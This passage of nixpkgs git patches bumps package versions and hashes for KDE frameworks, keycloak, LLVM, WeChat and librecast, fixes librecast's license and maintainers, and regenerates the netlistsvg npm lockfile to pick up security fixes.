+    "version": "6.14.1",
+    "url": "mirror://kde/stable/frameworks/6.14/kirigami-6.14.1.tar.xz",
+    "hash": "sha256-LJG04pUURPfW89at2W3EHGK/nb90eoWU1dL8kY0nMJ8="
   },
   "kitemmodels": {
     "version": "6.14.0",
@@ -290,9 +290,9 @@
     "hash": "sha256-JKzW0rhYK91q6b/KlyeKlnY+4YSmzey8Dc1k/U/COLI="
   },
   "kwallet": {
-    "version": "6.14.0",
-    "url": "mirror://kde/stable/frameworks/6.14/kwallet-6.14.0.tar.xz",
-    "hash": "sha256-p0d+Tl58y0NJHFoOzK32oz6WIIjVrzLEtrSqy5IPWeM="
+    "version": "6.14.1",
+    "url": "mirror://kde/stable/frameworks/6.14/kwallet-6.14.1.tar.xz",
+    "hash": "sha256-70gr4tUhH3EdV4qh0fN/ceZBpqUv034RMn4ZkV/UISc="
   },
   "kwidgetsaddons": {
     "version": "6.14.0",

From 5c2e310e54243fe6eff4e4508edeb55936d8de42 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 2 Jul 2025 14:55:31 +0200
Subject: [PATCH 2113/4511] keycloak: 26.1.4 -> 26.2.5

https://github.com/keycloak/keycloak/releases/tag/26.1.5
https://github.com/keycloak/keycloak/releases/tag/26.2.0
https://github.com/keycloak/keycloak/releases/tag/26.2.1
https://github.com/keycloak/keycloak/releases/tag/26.2.2
https://github.com/keycloak/keycloak/releases/tag/26.2.3
https://github.com/keycloak/keycloak/releases/tag/26.2.4
https://github.com/keycloak/keycloak/releases/tag/26.2.5
(cherry picked from commit 69f5b8d40fe18f4b709dc23cddacf60e07217222)
---
 pkgs/by-name/ke/keycloak/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ke/keycloak/package.nix b/pkgs/by-name/ke/keycloak/package.nix
index 27b2790a7d8f..eb3c59e51697 100644
--- a/pkgs/by-name/ke/keycloak/package.nix
+++ b/pkgs/by-name/ke/keycloak/package.nix
@@ -24,11 +24,11 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "keycloak";
-  version = "26.1.4";
+  version = "26.2.5";
 
   src = fetchzip {
     url = "https://github.com/keycloak/keycloak/releases/download/${version}/keycloak-${version}.zip";
-    hash = "sha256-pYUiTVJRoUTXfFv7B2Oi+0xofMf5yjhNsqTnV8ehAlU=";
+    hash = "sha256-yXbHdznZlrz4T2+154cM+eAmPO/TR5kRCVVi26H66ok=";
   };
 
   nativeBuildInputs = [
@@ -52,9 +52,9 @@ stdenv.mkDerivation rec {
     + ''
       install_plugin() {
         if [ -d "$1" ]; then
-          find "$1" -type f \( -iname \*.ear -o -iname \*.jar \) -exec install -m 0500 "{}" "providers/" \;
+          find "$1" -type f \( -iname \*.ear -o -iname \*.jar \) -exec install -p -m 0500 "{}" "providers/" \;
         else
-          install -m 0500 "$1" "providers/"
+          install -p -m 0500 "$1" "providers/"
         fi
       }
       ${lib.concatMapStringsSep "\n" (pl: "install_plugin ${lib.escapeShellArg pl}") plugins}

From 8cfb72867fd04546e5ec435c9512d98d1437f585 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 2 Jul 2025 16:08:33 +0200
Subject: [PATCH 2114/4511] keycloak: add leona as maintainer

(cherry picked from commit 23ae9368ca0748576a200488b75ae3519836403d)
---
 pkgs/by-name/ke/keycloak/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ke/keycloak/package.nix b/pkgs/by-name/ke/keycloak/package.nix
index eb3c59e51697..ee5e0c3dd75b 100644
--- a/pkgs/by-name/ke/keycloak/package.nix
+++ b/pkgs/by-name/ke/keycloak/package.nix
@@ -101,6 +101,7 @@ stdenv.mkDerivation rec {
       ngerstle
       talyz
       nickcao
+      leona
     ];
   };
 

From 600be3ba1144d014d6b74670f6e0ccc0830f354c Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 6 Jul 2025 21:55:42 -0700
Subject: [PATCH 2115/4511] llvmPackages_git: 21.0.0-unstable-2025-06-29 ->
 21.0.0-unstable-2025-07-06

(cherry picked from commit b9b9074384b7dcc042bba2db50f46847cc5d0656)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index e729f60d6ac4..850a58fa594b 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.0.0-git".gitRelease = {
-      rev = "2d94c08d03ada0a4d3c30a93594d0381946aa85a";
-      rev-version = "21.0.0-unstable-2025-06-29";
-      sha256 = "sha256-waAXH17LNrzbq4kJ1u9EUpYGDky8iEVVCsYpthOrgMY=";
+      rev = "be4cd9f4da981af3b93a180239cd631910b542d8";
+      rev-version = "21.0.0-unstable-2025-07-06";
+      sha256 = "sha256-cNJL0374m1LL5G7aS9CO/ufild5wfvhXcqwhqJXUZYA=";
     };
   } // llvmVersions;
 

From 8306429b7ca94fa67318c4c3fce0df84f256d9ef Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 5 Jul 2025 11:13:29 +0800
Subject: [PATCH 2116/4511] wechat: 4.0.5.27-29258 -> 4.0.6.17-29381 for darwin

(cherry picked from commit c7c51402a53e39d05f52633610bc4f3351fee202)
---
 pkgs/by-name/we/wechat/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/we/wechat/package.nix b/pkgs/by-name/we/wechat/package.nix
index c0f53906e2b4..793d857a2665 100644
--- a/pkgs/by-name/we/wechat/package.nix
+++ b/pkgs/by-name/we/wechat/package.nix
@@ -29,10 +29,10 @@ let
     let
       # https://dldir1.qq.com/weixin/mac/mac-release.xml
       any-darwin = {
-        version = "4.0.5.27-29258";
+        version = "4.0.6.17-29381";
         src = fetchurl {
-          url = "https://dldir1v6.qq.com/weixin/Universal/Mac/xWeChatMac_universal_4.0.5.27_29258.dmg";
-          hash = "sha256-Gje1F9rdykxTqYIJ4Pfq3zpUH3t3GKIK/QL5kt1qCVc=";
+          url = "https://dldir1v6.qq.com/weixin/Universal/Mac/xWeChatMac_universal_4.0.6.17_29381.dmg";
+          hash = "sha256-Fv5UYZ5+WfHvs+V3yiLSQitj++3WU+0GJsnIdlwB+TE=";
         };
       };
     in

From a3d405836d38075a7c2977de7007505fbbc351ac Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 20 Jun 2025 22:46:47 +0000
Subject: [PATCH 2117/4511] librecast: 0.10.0 -> 0.11.2

(cherry picked from commit 6597dfe5d8bdef12f2f53bfc0811597242714ff8)
---
 pkgs/by-name/li/librecast/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/librecast/package.nix b/pkgs/by-name/li/librecast/package.nix
index c87f65fd4ffe..4b40b6f77774 100644
--- a/pkgs/by-name/li/librecast/package.nix
+++ b/pkgs/by-name/li/librecast/package.nix
@@ -7,14 +7,14 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "librecast";
-  version = "0.10.0";
+  version = "0.11.2";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "librecast";
     repo = "librecast";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-uM7S7EBoLd49+JFZjX/Pq8WbTPN25alLY5slCeqHBxI=";
+    hash = "sha256-FFumVHTobvcty3x26IAMHP8M3fYrnfLtxt/RJ/4vKBg=";
   };
   buildInputs = [
     lcrq

From e46864a15f3884964cdc9fae5c8b419c28f24738 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 7 Jul 2025 16:25:35 +0800
Subject: [PATCH 2118/4511] librecast: replace rev with tag

(cherry picked from commit 7d055849e2a87c796be73cea2949e5cb0be83068)
---
 pkgs/by-name/li/librecast/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/li/librecast/package.nix b/pkgs/by-name/li/librecast/package.nix
index 4b40b6f77774..def763fcccaf 100644
--- a/pkgs/by-name/li/librecast/package.nix
+++ b/pkgs/by-name/li/librecast/package.nix
@@ -13,7 +13,7 @@ stdenv.mkDerivation (finalAttrs: {
     domain = "codeberg.org";
     owner = "librecast";
     repo = "librecast";
-    rev = "v${finalAttrs.version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-FFumVHTobvcty3x26IAMHP8M3fYrnfLtxt/RJ/4vKBg=";
   };
   buildInputs = [

From 983dbfe7cd791f7f786b83fc55dc27118912135b Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 7 Jul 2025 16:26:10 +0800
Subject: [PATCH 2119/4511] librecast: add updateScript

(cherry picked from commit ab6afb77ba198cf90543ed6b0f65c93a2d6c362e)
---
 pkgs/by-name/li/librecast/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/li/librecast/package.nix b/pkgs/by-name/li/librecast/package.nix
index def763fcccaf..12ef09231727 100644
--- a/pkgs/by-name/li/librecast/package.nix
+++ b/pkgs/by-name/li/librecast/package.nix
@@ -4,6 +4,7 @@
   lcrq,
   lib,
   libsodium,
+  nix-update-script,
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "librecast";
@@ -22,6 +23,8 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   installFlags = [ "PREFIX=$(out)" ];
 
+  passthru.updateScript = nix-update-script { };
+
   meta = {
     changelog = "https://codeberg.org/librecast/librecast/src/tag/v${finalAttrs.version}/CHANGELOG.md";
     description = "IPv6 multicast library";

From 289764f4eb0c706a17b8ffacb804f0ad4e5e4fc2 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 7 Jul 2025 16:29:09 +0800
Subject: [PATCH 2120/4511] librecast: fix license

(cherry picked from commit 829db1ebd752d9f59ed4b5bff4c7e00d469c58b2)
---
 pkgs/by-name/li/librecast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/li/librecast/package.nix b/pkgs/by-name/li/librecast/package.nix
index 12ef09231727..1c652edb2757 100644
--- a/pkgs/by-name/li/librecast/package.nix
+++ b/pkgs/by-name/li/librecast/package.nix
@@ -29,9 +29,9 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://codeberg.org/librecast/librecast/src/tag/v${finalAttrs.version}/CHANGELOG.md";
     description = "IPv6 multicast library";
     homepage = "https://librecast.net/librecast.html";
-    license = [
-      lib.licenses.gpl2
-      lib.licenses.gpl3
+    license = with lib.licenses; [
+      gpl2Only
+      gpl3Only
     ];
     maintainers = with lib.maintainers; [
       albertchae

From 8e27aa89407589a136c295907cdc0fd7acde93fa Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 7 Jul 2025 16:29:40 +0800
Subject: [PATCH 2121/4511] librecast: add ngi team

(cherry picked from commit aef40445c1bc9fc4a4121879f7c70ce55782eb27)
---
 pkgs/by-name/li/librecast/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/li/librecast/package.nix b/pkgs/by-name/li/librecast/package.nix
index 1c652edb2757..09788ebe8f46 100644
--- a/pkgs/by-name/li/librecast/package.nix
+++ b/pkgs/by-name/li/librecast/package.nix
@@ -40,6 +40,7 @@ stdenv.mkDerivation (finalAttrs: {
       jasonodoom
       jleightcap
     ];
+    teams = with lib.teams; [ ngi ];
     platforms = lib.platforms.gnu;
   };
 })

From 8ab5a5a9f502407193f832ff0788bf81eab5ebfe Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 6 Jul 2025 11:46:33 -0400
Subject: [PATCH 2122/4511] netlistsvg: regenerate lockfile

Updates some dependencies with security vulnerabilities.

(cherry picked from commit 934f5e0f0fd38ac14c9e70ea73f46179b44fc591)
---
 pkgs/by-name/ne/netlistsvg/package-lock.json | 3969 ++++++++++++------
 pkgs/by-name/ne/netlistsvg/package.nix       |    2 +-
 2 files changed, 2628 insertions(+), 1343 deletions(-)

diff --git a/pkgs/by-name/ne/netlistsvg/package-lock.json b/pkgs/by-name/ne/netlistsvg/package-lock.json
index cbf3309f6d3b..16a53394fe8a 100644
--- a/pkgs/by-name/ne/netlistsvg/package-lock.json
+++ b/pkgs/by-name/ne/netlistsvg/package-lock.json
@@ -41,59 +41,65 @@
       }
     },
     "node_modules/@ampproject/remapping": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz",
-      "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==",
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.3.0.tgz",
+      "integrity": "sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
-        "@jridgewell/gen-mapping": "^0.3.0",
-        "@jridgewell/trace-mapping": "^0.3.9"
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.24"
       },
       "engines": {
         "node": ">=6.0.0"
       }
     },
     "node_modules/@babel/code-frame": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz",
-      "integrity": "sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
+      "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/highlight": "^7.22.5"
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "js-tokens": "^4.0.0",
+        "picocolors": "^1.1.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/compat-data": {
-      "version": "7.22.9",
-      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz",
-      "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.0.tgz",
+      "integrity": "sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/core": {
-      "version": "7.22.9",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.9.tgz",
-      "integrity": "sha512-G2EgeufBcYw27U4hhoIwFcgc1XU7TlXJ3mv04oOv1WCuo900U/anZSPzEqNjwdjgffkk2Gs0AN0dW1CKVLcG7w==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.0.tgz",
+      "integrity": "sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@ampproject/remapping": "^2.2.0",
-        "@babel/code-frame": "^7.22.5",
-        "@babel/generator": "^7.22.9",
-        "@babel/helper-compilation-targets": "^7.22.9",
-        "@babel/helper-module-transforms": "^7.22.9",
-        "@babel/helpers": "^7.22.6",
-        "@babel/parser": "^7.22.7",
-        "@babel/template": "^7.22.5",
-        "@babel/traverse": "^7.22.8",
-        "@babel/types": "^7.22.5",
-        "convert-source-map": "^1.7.0",
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.0",
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-module-transforms": "^7.27.3",
+        "@babel/helpers": "^7.27.6",
+        "@babel/parser": "^7.28.0",
+        "@babel/template": "^7.27.2",
+        "@babel/traverse": "^7.28.0",
+        "@babel/types": "^7.28.0",
+        "convert-source-map": "^2.0.0",
         "debug": "^4.1.0",
         "gensync": "^1.0.0-beta.2",
-        "json5": "^2.2.2",
+        "json5": "^2.2.3",
         "semver": "^6.3.1"
       },
       "engines": {
@@ -105,16 +111,18 @@
       }
     },
     "node_modules/@babel/core/node_modules/convert-source-map": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
-      "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
-      "dev": true
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
+      "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@babel/core/node_modules/json5": {
       "version": "2.2.3",
       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
       "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "json5": "lib/cli.js"
       },
@@ -127,42 +135,43 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
     },
     "node_modules/@babel/generator": {
-      "version": "7.22.9",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.9.tgz",
-      "integrity": "sha512-KtLMbmicyuK2Ak/FTCJVbDnkN1SlT8/kceFTiuDiiRUUSMnHMidxSCdG4ndkTOHHpoomWe/4xkvHkEOncwjYIw==",
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.0.tgz",
+      "integrity": "sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.22.5",
-        "@jridgewell/gen-mapping": "^0.3.2",
-        "@jridgewell/trace-mapping": "^0.3.17",
-        "jsesc": "^2.5.1"
+        "@babel/parser": "^7.28.0",
+        "@babel/types": "^7.28.0",
+        "@jridgewell/gen-mapping": "^0.3.12",
+        "@jridgewell/trace-mapping": "^0.3.28",
+        "jsesc": "^3.0.2"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-compilation-targets": {
-      "version": "7.22.9",
-      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.9.tgz",
-      "integrity": "sha512-7qYrNM6HjpnPHJbopxmb8hSPoZ0gsX8IvUS32JGVoy+pU9e5N0nLr1VjJoR6kA4d9dmGLxNYOjeB8sUDal2WMw==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
+      "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.22.9",
-        "@babel/helper-validator-option": "^7.22.5",
-        "browserslist": "^4.21.9",
+        "@babel/compat-data": "^7.27.2",
+        "@babel/helper-validator-option": "^7.27.1",
+        "browserslist": "^4.24.0",
         "lru-cache": "^5.1.1",
         "semver": "^6.3.1"
       },
       "engines": {
         "node": ">=6.9.0"
-      },
-      "peerDependencies": {
-        "@babel/core": "^7.0.0"
       }
     },
     "node_modules/@babel/helper-compilation-targets/node_modules/semver": {
@@ -170,67 +179,45 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
     },
-    "node_modules/@babel/helper-environment-visitor": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz",
-      "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==",
+    "node_modules/@babel/helper-globals": {
+      "version": "7.28.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
+      "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
       "dev": true,
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-function-name": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz",
-      "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==",
-      "dev": true,
-      "dependencies": {
-        "@babel/template": "^7.22.5",
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-hoist-variables": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
-      "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
-      "dev": true,
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-imports": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz",
-      "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
+      "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.22.5"
+        "@babel/traverse": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-transforms": {
-      "version": "7.22.9",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.9.tgz",
-      "integrity": "sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==",
+      "version": "7.27.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz",
+      "integrity": "sha512-dSOvYwvyLsWBeIRyOeHXp5vPj5l1I011r52FM1+r1jCERv+aFXYk4whgQccYEGYxK2H3ZAIA8nuPkQ0HaUo3qg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "@babel/helper-environment-visitor": "^7.22.5",
-        "@babel/helper-module-imports": "^7.22.5",
-        "@babel/helper-simple-access": "^7.22.5",
-        "@babel/helper-split-export-declaration": "^7.22.6",
-        "@babel/helper-validator-identifier": "^7.22.5"
+        "@babel/helper-module-imports": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "@babel/traverse": "^7.27.3"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -240,98 +227,68 @@
       }
     },
     "node_modules/@babel/helper-plugin-utils": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz",
-      "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz",
+      "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==",
       "dev": true,
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-simple-access": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz",
-      "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==",
-      "dev": true,
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-split-export-declaration": {
-      "version": "7.22.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
-      "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
-      "dev": true,
-      "dependencies": {
-        "@babel/types": "^7.22.5"
-      },
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-string-parser": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz",
-      "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
+      "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-identifier": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz",
-      "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz",
+      "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-option": {
-      "version": "7.22.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz",
-      "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
